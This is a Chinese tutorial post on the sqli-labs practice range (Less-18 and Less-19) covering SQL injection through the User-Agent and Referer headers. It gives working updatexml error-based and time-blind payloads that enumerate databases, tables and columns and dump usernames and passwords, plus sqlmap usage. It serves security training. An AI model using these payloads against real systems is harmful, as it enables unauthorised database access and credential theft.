sqli-labs靶场实现(六)【HTTP头中的SQL注入】(less-18~19(User-Agent、Referer)、具体步骤+图文详解)

一)HTTP头中的SQL注入
  1)HTTP头中的注入介绍
  2)HTTP User-Agent注入
  3)HTTP Referer注入
  4)sqlmap安全测试

————————————————————————————————————————————————————————

一)HTTP头中的SQL注入

1)HTTP头中的注入介绍
在这里插入图片描述

上面代码中使用的方法解析:

1)check_input()——判断是否有输入一个变量$value
2)empty()——判断变量$value的值是否为空
3)substr()——从变量$value的值的第一个字符开始截取,截取的长度为20
4)get_magic_quotes_gpc()——判断解析用户提示的数据。
5)stripslashes()——删除由addslashes()函数添加的反斜杠。
6)ctype_digit()——检测一个字符串中所以的字符是否都为纯数字。
7)mysql_real_escape_string()——转义 SQL 语句中使用的字符串中的特殊字符
8)intval()——函数用于获取变量的整数值

更详细的有关函数的解析参加:预防数据库攻击的有关方法(函数)

如果是HTTP User-Agent注入那么此时的注入点就是User-Agent,不再如前面是uname或者passwd,那么对于POST型注入就需要先有一个此网站的账号密码用于成功登录网站,之后利用User-Agent注入点构造对于的payload以获取网站有关的其他敏感信息或者是网站数据库中的其他所有用户。


2)HTTP User-Agent注入

通常也使用updatexml()函数和exteractvalue()函数进行报错注入。返回结果为连接参数产生的字符串,如有任何一个参数为NULL ,则返回值为 NULL。使用updatexml()函数,它的语法是:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string ,也就是:Xpath格式的想要被替换的字符串;
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

MySQL中的SQL语句:select name from user where id=1 and updatexml(1,concat(’~’,(select database()),’~’),3);
在这里插入图片描述
发现注入成功,成功爆出数据库名。

解释:
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,
concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,
这样就可以实现报错注入了。

a)判断是否存在SQL注入:加 \
在这里插入图片描述

b)爆数据库版本信息:

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

在这里插入图片描述

c)当前连接数据库的用户:

' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '1'='1

在这里插入图片描述
d)爆库:

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) or '1'='1

在这里插入图片描述
e)爆表:

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1

在这里插入图片描述
f)爆字段:

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) or '1'='1

在这里插入图片描述
g)dump数据:

' and updatexml(1,concat(0x7e,(select concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1)  or '1'='1

在这里插入图片描述

SQL注入与User-Agent 的联系参见:https://blog.csdn.net/weixin_46709219/article/details/111399314

3)HTTP Referer注入

a)判断是否存在SQL注入:加 \
在这里插入图片描述
b)爆库:

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) or '1'='1

或者采用时间盲注:

' or if(length((select schema_name from information_schema.schemata limit 0,1))>5,sleep(5),1) or '1'='1

c)爆表:

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1

d)爆字段:

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) or '1'='1

f)dump数据:

' and updatexml(1,concat(0x7e,(select concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1)  or '1'='1


4)sqlmap安全测试

如果我们已经确定了注入位置(例如:referer)那么我们将请求头保存到一个target.txt文件中,并将注入位置的值修改为 * ,此时当我们使用sqlmap对target.txt进行对应参数的探测时就会默认对设置了 * 的位置进行探测。
在这里插入图片描述
在这里插入图片描述
5)补充知识

对于上面的 “ 1)HTTP头中的注入介绍 ”中使用的防御SQL注入的函数的更加详细的讲解请参见:预防数据库攻击的有关方法(函数)





  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值